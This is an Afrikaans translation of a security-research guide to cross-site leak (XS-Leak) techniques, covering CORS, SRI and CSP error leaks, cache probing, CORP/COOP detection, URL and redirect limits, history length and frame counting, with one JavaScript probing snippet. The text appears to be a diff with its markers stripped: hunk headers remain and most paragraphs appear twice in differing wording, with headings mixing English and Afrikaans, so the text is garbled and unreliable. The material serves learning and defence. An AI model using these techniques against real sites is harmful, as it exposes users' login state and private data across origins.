Hierdie tegniek stel 'n aanvaller in staat om **die bestemming van 'n kruis-oorsprong webwerf se omleiding te onttrek** deur te benut hoe Webkit-gebaseerde blaaiers CORS versoeke hanteer. Spesifiek, wanneer 'n **CORS-geaktiveerde versoek** na 'n teikenwebwerf gestuur word wat 'n omleiding op grond van gebruikersstatus uitreik en die blaaier die versoek daarna ontken, word die **volle URL van die omleiding se teiken** binne die foutboodskap bekendgemaak. Hierdie kwesbaarheid onthul nie net die feit van die omleiding nie, maar stel ook die omleiding se eindpunt en enige **sensitiewe navraagparameters** wat dit mag bevat, bloot.
### SRI Fout
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Kop
- **Meer inligting**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.3)
- **Opsomming:** In Veiligheidsbevestigings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Opsomming:** In Veiligheidsverklarings (SA) stel CORS foutboodskappe onbedoeld die volle URL van omgeleide versoeke bloot.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag word, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsbevestigings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout veroorsaak** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
'n Aanvaller kan **uitgebreide foutboodskappe** benut om die grootte van kruis-oorsprong antwoorde af te lei. Dit is moontlik as gevolg van die meganisme van Subresource Integrity (SRI), wat die integriteitseienskap gebruik om te verifieer dat hulpbronne wat opgevraag is, dikwels van CDN's, nie gemanipuleer is nie. Vir SRI om op kruis-oorsprong hulpbronne te werk, moet hierdie **CORS-geaktiveerd** wees; anders is hulle nie onderhewig aan integriteitskontroles nie. In Veiligheidsverklarings (SA), net soos die CORS fout XS-Leak, kan 'n foutboodskap vasgevang word nadat 'n fetch versoek met 'n integriteitseienskap misluk. Aanvallers kan doelbewus **hierdie fout veroorsaak** deur 'n **vals hash waarde** aan die integriteitseienskap van enige versoek toe te ken. In SA onthul die resulterende foutboodskap onbedoeld die inhoudslengte van die aangevraagde hulpbron. Hierdie inligtingslek stel 'n aanvaller in staat om variasies in responsgrootte te onderskei, wat die weg baan vir gesofistikeerde XS-Leak aanvalle.
### CSP Oortreding/Detectie
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word, en ons probeer om na 'n ander domein te herlei, sal die CSP 'n waarneembare fout veroorsaak.
- **Opsomming:** As slegs die slagoffer se webwerf in die CSP toegelaat word, sal die CSP 'n waarneembare fout veroorsaak as dit probeer om na 'n ander domein te herlei.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein uitgereik word, **herlei** dit na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
Moderne blaaiers sal nie die URL aandui waarheen dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding geaktiveer is.
'n XS-Leak kan die CSP gebruik om te detecteer of 'n kruis-oorsprong webwerf na 'n ander oorsprong omgeleide is. Hierdie lek kan die omleiding opspoor, maar addisioneel, die domein van die omleidingsteiken lek. Die basiese idee van hierdie aanval is om **die teikendomein op die aanvaller se webwerf toe te laat**. Sodra 'n versoek na die teikendomein gestuur word, **herlei** dit na 'n kruis-oorsprong domein. **CSP blokkeer** die toegang daartoe en skep 'n **oortredingsverslag wat as 'n lek tegniek gebruik word**. Afhangende van die blaaier, **kan hierdie verslag die teikensite van die omleiding lek**.\
Moderne blaaiers sal nie die URL aandui waarnatoe dit omgeleide is nie, maar jy kan steeds opspoor dat 'n kruis-oorsprong omleiding geaktiveer is.
### Cache
- **Insluitingsmetodes**: Frames, Pop-ups
- **Waarneembare Verskil**: Bladsy Inhoud
- **Waarneembare Verskil**: Bladsy-inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
- **Opsomming:** Verwyder die lêer uit die kas. Open die teikenbladsy en kyk of die lêer in die kas teenwoordig is.
- **Opsomming:** Verwyder die lêer uit die cache. Open die teikenbladsy en kyk of die lêer in die cache teenwoordig is.
- **Kode Voorbeeld:**
Blaaiers kan een gedeelde kas vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy **'n spesifieke lêer aangevra het**.
Blaaiers mag een gedeelde cache vir alle webwerwe gebruik. Ongeag hul oorsprong, is dit moontlik om af te lei of 'n teikenbladsy 'n **spesifieke lêer** aangevra het.
As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron ongeldig maak** (sodat dit nie meer in die kas is as dit was, sien meer inligting skakels nie), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbron laai **geen fout veroorsaak het nie**, is dit omdat dit **in die kas was**.
As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpbron** **ongeldig maak** (sodat dit nie meer in die cache is as dit was, sien meer inligting skakels), **'n versoek uitvoer** wat daardie hulpbron kan laai en probeer om die hulpbron **met 'n slegte versoek** te laai (bv. deur 'n te lang verwysingskop te gebruik). As die hulpbronlaai **geen fout veroorsaak het nie**, is dit omdat dit **in die cache was**.
### CSP Riglyn
@ -523,14 +523,14 @@ As 'n bladsy 'n beeld laai slegs as die gebruiker ingelog is, kan jy die **hulpb
- **Opsomming:** CSP kop riglyne kan ondersoek word met die CSP iframe eienskap, wat beleidsbesonderhede onthul.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
'n Nuwe kenmerk in Google Chrome (GC) laat webbladsye toe om **'n Inhoudsekuriteitsbeleid (CSP) voor te stel** deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP-kop magtig**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme open 'n pad vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
'n Nuwe kenmerk in Google Chrome (GC) laat webblaaie toe om 'n **Inhoudsekuriteitsbeleid (CSP)** voor te stel deur 'n eienskap op 'n iframe element in te stel, met beleidsriglyne wat saam met die HTTP versoek oorgedra word. Normaalweg moet die ingebedde inhoud **dit via 'n HTTP-kop autoriseer**, of 'n **foutbladsy word vertoon**. As die iframe egter reeds deur 'n CSP beheer word en die nuut voorgestelde beleid nie meer beperkend is nie, sal die bladsy normaal laai. Hierdie meganisme maak 'n pad oop vir 'n aanvaller om **spesifieke CSP riglyne** van 'n kruis-oorsprong bladsy te detecteer deur die foutbladsy te identifiseer. Alhoewel hierdie kwesbaarheid as reggestel gemerk is, onthul ons bevindings 'n **nuwe lek tegniek** wat in staat is om die foutbladsy te detecteer, wat daarop dui dat die onderliggende probleem nooit ten volle aangespreek is nie.
### **CORP**
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Kop
- **Meer inligting**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegestane oorsprong afgelaai word.
- **Opsomming:** Hulpbronne wat beveilig is met die Cross-Origin Resource Policy (CORP) sal 'n fout gooi wanneer dit van 'n nie-toegelate oorsprong afgelaai word.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Die CORP-kop is 'n relatief nuwe webplatform sekuriteitskenmerk wat, wanneer dit ingestel is, **nie-cors kruis-oorsprong versoeke na die gegewe hulpbron blokkeer**. Die teenwoordigheid van die kop kan opgespoor word, want 'n hulpbron wat met CORP beskerm word, sal **'n fout gooi wanneer dit afgelaai word**.
@ -550,10 +550,10 @@ Kyk na die skakel vir meer inligting oor die aanval.
- **Insluitingsmetodes**: Fetch API
- **Waarneembare Verskil**: Kop
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
- **Opsomming**: As die Oorsprong kop in die kop `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die kas is.
- **Opsomming**: As die Oorsprong kop in die kop `Access-Control-Allow-Origin` weerspieël word, is dit moontlik om te kyk of 'n hulpbron reeds in die cache is.
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
In die geval dat die **Oorsprong kop** in die kop `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **aflaai** van die **hulpbron** in **CORS** modus. As 'n **fout** **nie** geaktiveer word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **geaktiveer** word, is dit omdat dit **van die kas** toegang verkry is (die fout verskyn omdat die kas 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
In die geval dat die **Oorsprong kop** in die kop `Access-Control-Allow-Origin` **weerspieël** word, kan 'n aanvaller hierdie gedrag misbruik om te probeer **aflaai** die **hulpbron** in **CORS** modus. As 'n **fout** **nie** geaktiveer word nie, beteken dit dat dit **korrek van die web verkry is**, as 'n fout **geaktiveer** word, is dit omdat dit **van die cache** gegee is (die fout verskyn omdat die cache 'n respons met 'n CORS-kop wat die oorspronklike domein toelaat en nie die aanvaller se domein nie, stoor).\
Let daarop dat as die oorsprong nie weerspieël word nie, maar 'n wildcard gebruik word (`Access-Control-Allow-Origin: *`), dit nie sal werk nie.
## Leesbare Eienskappe Tegniek
@ -576,20 +576,20 @@ Deur 'n versoek te dien met die Fetch API met `redirect: "manual"` en ander para
- **Opsomming:** Bladsye wat beskerm word deur die Cross-Origin Opener Policy (COOP) voorkom toegang vanaf kruis-oorsprong interaksies.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) kop in 'n kruis-oorsprong HTTP respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie kop kan opgespoor word deur te probeer om toegang te verkry tot die **`contentWindow` verwysing**. In scenario's waar COOP voorwaardelik toegepas word, word die **`opener` eienskap** 'n duidelike aanduiding: dit is **onbeskikbaar** wanneer COOP aktief is, en **beskikbaar** in sy afwesigheid.
'n Aanvaller is in staat om die teenwoordigheid van die Cross-Origin Opener Policy (COOP) kop in 'n kruis-oorsprong HTTP respons af te lei. COOP word deur webtoepassings gebruik om te verhoed dat eksterne webwerwe willekeurige venster verwysings verkry. Die sigbaarheid van hierdie kop kan opgespoor word deur te probeer om toegang te verkry tot die **`contentWindow` verwysing**. In scenario's waar COOP voorwaardelik toegepas word, word die **`opener` eienskap** 'n duidelike aanduiding: dit is **onbepaald** wanneer COOP aktief is, en **gedefinieer** in sy afwesigheid.
### URL Maks Lengte - Bediener Kant
- **Insluitingsmetodes**: Fetch API, HTML Elemente
- **Waarneembare Verskil**: Statuskode / Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects](https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects)
- **Opsomming:** Detecteer verskille in responsies omdat die omleiding responslengte dalk te groot is dat die bediener met 'n fout terug speel en 'n waarskuwing geaktiveer word.
- **Opsomming:** Detecteer verskille in antwoorde omdat die omleiding responslengte dalk te groot is dat die bediener met 'n fout terug speel en 'n waarskuwing genereer.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** **daardie data** gebruik en **iets ekstra** toevoeg, sal dit 'n **fout aktiveer wat via Fout Gebeure opspoorbaar is**.
As 'n bediener-kant omleiding **gebruikersinvoer binne die omleiding** en **extra data** gebruik. Dit is moontlik om hierdie gedrag te detecteer omdat bedieners gewoonlik 'n **limiet op versoeklengte** het. As die **gebruikersdata** daardie **lengte - 1** is, omdat die **omleiding** **daardie data** gebruik en **iets ekstra** **byvoeg**, sal dit 'n **fout aktiveer wat via Foutgebeurtenisse opspoorbaar is**.
As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **voldoende koekies te stel** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die respons** van die **korrekte respons** 'n **fout** geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n selfde webwerf aktiveer, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
'n Voorbeeld van die **koekie bom + XS-Search** kan gevind word in die Beoogde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierdie aanval uitvoer deur **genoeg koekies te stel** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) sodat met die **verhoogde grootte van die korrekte respons** 'n **fout** geaktiveer word. In hierdie geval, onthou dat as jy hierdie versoek vanaf 'n selfde webwerf aktiveer, `<script>` outomaties die koekies sal stuur (sodat jy vir foute kan kyk).\
'n Voorbeeld van die **cookie bomb + XS-Search** kan gevind word in die bedoelde oplossing van hierdie skrywe: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` of om in dieselfde konteks te wees, is gewoonlik nodig vir hierdie tipe aanval.
@ -598,16 +598,16 @@ As jy op een of ander manier koekies aan 'n gebruiker kan stel, kan jy ook hierd
- **Insluitingsmetodes**: Pop-ups
- **Waarneembare Verskil**: Statuskode / Inhoud
- **Meer inligting**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
- **Opsomming:** Detecteer verskille in responsies omdat die omleiding responslengte dalk te groot is vir 'n versoek dat 'n verskil opgemerk kan word.
- **Opsomming:** Detecteer verskille in antwoorde omdat die omleiding responslengte dalk te groot is vir 'n versoek dat 'n verskil opgemerk kan word.
- **Kode Voorbeeld**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
Volgens [Chromium dokumentasie](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), is Chrome se maksimum URL-lengte 2MB.
> In die algemeen het die _webplatform_ nie beperkings op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** om praktiese redes en om te verhoed dat ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.
> In die algemeen het die _webplatform_ nie limiete op die lengte van URL's nie (alhoewel 2^31 'n algemene limiet is). _Chrome_ beperk URL's tot 'n maksimum lengte van **2MB** om praktiese redes en om te verhoed dat dit ontkenning van diens probleme in inter-proses kommunikasie veroorsaak.
Daarom, as die **omleiding URL** in een van die gevalle groter is, is dit moontlik om dit te laat omlei met 'n **URL groter as 2MB** om die **lengte limiet** te tref. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
As gevolg hiervan, as die **omleiding URL** in een van die gevalle groter is, is dit moontlik om dit te laat omlei met 'n **URL groter as 2MB** om die **lengte limiet** te bereik. Wanneer dit gebeur, wys Chrome 'n **`about:blank#blocked`** bladsy.
Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die **limiet** egter **getref** is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
Die **waarneembare verskil** is dat as die **omleiding** voltooi was, `window.origin` 'n **fout** gooi omdat 'n kruis oorsprong nie daardie inligting kan toegang nie. As die **limiet** bereik is en die gelaaide bladsy **`about:blank#blocked`** was, bly die venster se **`origin`** dié van die **ouer**, wat 'n **toeganklike inligting** is.
Al die ekstra inligting wat nodig is om die **2MB** te bereik, kan via 'n **hash** in die aanvanklike URL bygevoeg word sodat dit in die **omleiding** gebruik sal word.
@ -620,7 +620,7 @@ xs-search/url-max-length-client-side.md
- **Insluitingsmetodes**: Fetch API, Frames
- **Waarneembare Verskil**: Statuskode
- **Meer inligting**: [https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76](https://docs.google.com/presentation/d/1rlnxXUYHY9CHgCMckZsCGH4VopLo4DYMvAcOltma0og/edit#slide=id.g63edc858f3_0_76)
- **Opsomming:** Gebruik die blaaier se omleiding limiet om die voorkoms van URL omleidings te bepaal.
- **Opsomming:** Gebruik die blaaiers se omleiding limiet om die voorkoms van URL omleidings te bepaal.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
As die **maks** aantal **omleidings** wat 'n blaaiers kan volg **20** is, kan 'n aanvaller probeer om sy bladsy met **19 omleidings** te laai en uiteindelik die **slagoffer** na die getoetsde bladsy te stuur. As 'n **fout** geaktiveer word, dan was die bladsy besig om die **slagoffer** te **herlei**.
@ -643,7 +643,7 @@ Die **Geskiedenis API** laat JavaScript kode toe om die blaaiers geskiedenis te
- **Opsomming:** Dit is moontlik om te raai of die ligging van 'n raam/pop-up in 'n spesifieke URL is deur die geskiedenis lengte te misbruik.
- **Kode Voorbeeld**: Hieronder
'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en dit **onmiddellik** **na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om te **verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **onmiddellik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde url gelaai is.
'n Aanvaller kan JavaScript kode gebruik om die **raam/pop-up ligging na 'n geraamde een te manipuleer** en dit **dadelik** **na `about:blank` te verander**. As die geskiedenis lengte toeneem, beteken dit die URL was korrek en dit het tyd gehad om **te verhoog omdat die URL nie herlaai word as dit dieselfde is nie**. As dit nie toeneem nie, beteken dit dit **het probeer om die geraamde URL te laai**, maar omdat ons **dadelik daarna** **`about:blank`** gelaai het, het die **geskiedenis lengte nooit toegenomen** toe die geraamde URL gelaai is.
```javascript
async function debug(win, url) {
win.location = url + "#aaa"
@ -661,199 +661,199 @@ win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))
```
### Frame Counting
### Raam Tel
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** Evalueer die hoeveelheid iframe-elemente deur die `window.length` eienskap te inspekteer.
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
- **Insluitingsmetodes**: Raam, Pop-ups
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Opsomming:** Evalueer die hoeveelheid iframe-elemente deur die `window.length` eienskap te ondersoek.
- **Kode Voorbeeld**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
Tel die **aantal rame in 'n web** wat geopen is via `iframe` of `window.open` kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
Tel die **aantal rame in 'n web** wat via `iframe` of `window.open` geopen is, kan help om die **status van die gebruiker oor daardie bladsy** te identifiseer.\
Boonop, as die bladsy altyd dieselfde aantal rame het, kan die **deurlopende** kontrole van die aantal rame help om 'n **patroon** te identifiseer wat inligting kan lek.
'n Voorbeeld van hierdie tegniek is dat in chrome, 'n **PDF** met **rame telling** opgespoor kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
'n Voorbeeld van hierdie tegniek is dat in chrome, 'n **PDF** met **raam tel** opgespoor kan word omdat 'n `embed` intern gebruik word. Daar is [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) wat 'n mate van beheer oor die inhoud toelaat soos `zoom`, `view`, `page`, `toolbar` waar hierdie tegniek interessant kan wees.
### HTMLElements
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** Lees die gelekte waarde om tussen 2 moontlike toestande te onderskei
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Opsomming:** Lees die gelekte waarde om tussen 2 moontlike toestande te onderskei
- **Kode Voorbeeld**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
Inligtingslek deur HTML-elemente is 'n bekommernis in websekuriteit, veral wanneer dinamiese media-lêers gegenereer word op grond van gebruikersinligting, of wanneer watermerke bygevoeg word, wat die media-grootte verander. Dit kan deur aanvallers benut word om tussen moontlike toestande te onderskei deur die inligting wat deur sekere HTML-elemente blootgestel word, te analiseer.
### Information Exposed by HTML Elements
### Inligting Blootgestel deur HTML Elemente
- **HTMLMediaElement**: Hierdie element onthul die media se `duration` en `buffered` tye, wat via sy API verkry kan word. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Dit stel `videoHeight` en `videoWidth` bloot. In sommige blaaiers is addisionele eienskappe soos `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, en `webkitDecodedFrameCount` beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend `totalVideoFrames`, wat die hoeveelheid video-data wat verwerk is, kan aandui. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Hierdie element lek die `height` en `width` van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die `image.decode()` funksie sal verwerp word, wat dui op die mislukking om die beeld korrek te laai. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement**: Hierdie element onthul die media se `duration` en `buffered` tye, wat via sy API verkry kan word. [Lees meer oor HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: Dit blootstel `videoHeight` en `videoWidth`. In sommige blaaiers is addisionele eienskappe soos `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount`, en `webkitDecodedFrameCount` beskikbaar, wat meer diepgaande inligting oor die media-inhoud bied. [Lees meer oor HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: Hierdie funksie bied besonderhede oor video-afspeelkwaliteit, insluitend `totalVideoFrames`, wat die hoeveelheid video-data wat verwerk is, kan aandui. [Lees meer oor getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: Hierdie element lek die `height` en `width` van 'n beeld. As 'n beeld egter ongeldig is, sal hierdie eienskappe 0 teruggee, en die `image.decode()` funksie sal verwerp word, wat dui op die mislukking om die beeld korrek te laai. [Lees meer oor HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
### CSS Eiendom
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Page Content
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** Identifiseer variasies in webwerf-styling wat verband hou met die gebruiker se toestand of status.
- **Code Example**: [https://xsinator.com/testing.html#CSS%20Property%20Leak](https://xsinator.com/testing.html#CSS%20Property%20Leak)
- **Insluitingsmetodes**: HTML Elemente
- **Waarneembare Verskil**: Bladsy Inhoud
- **Meer inligting**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Opsomming:** Identifiseer variasies in webwerf-styling wat verband hou met die gebruiker se toestand of status.
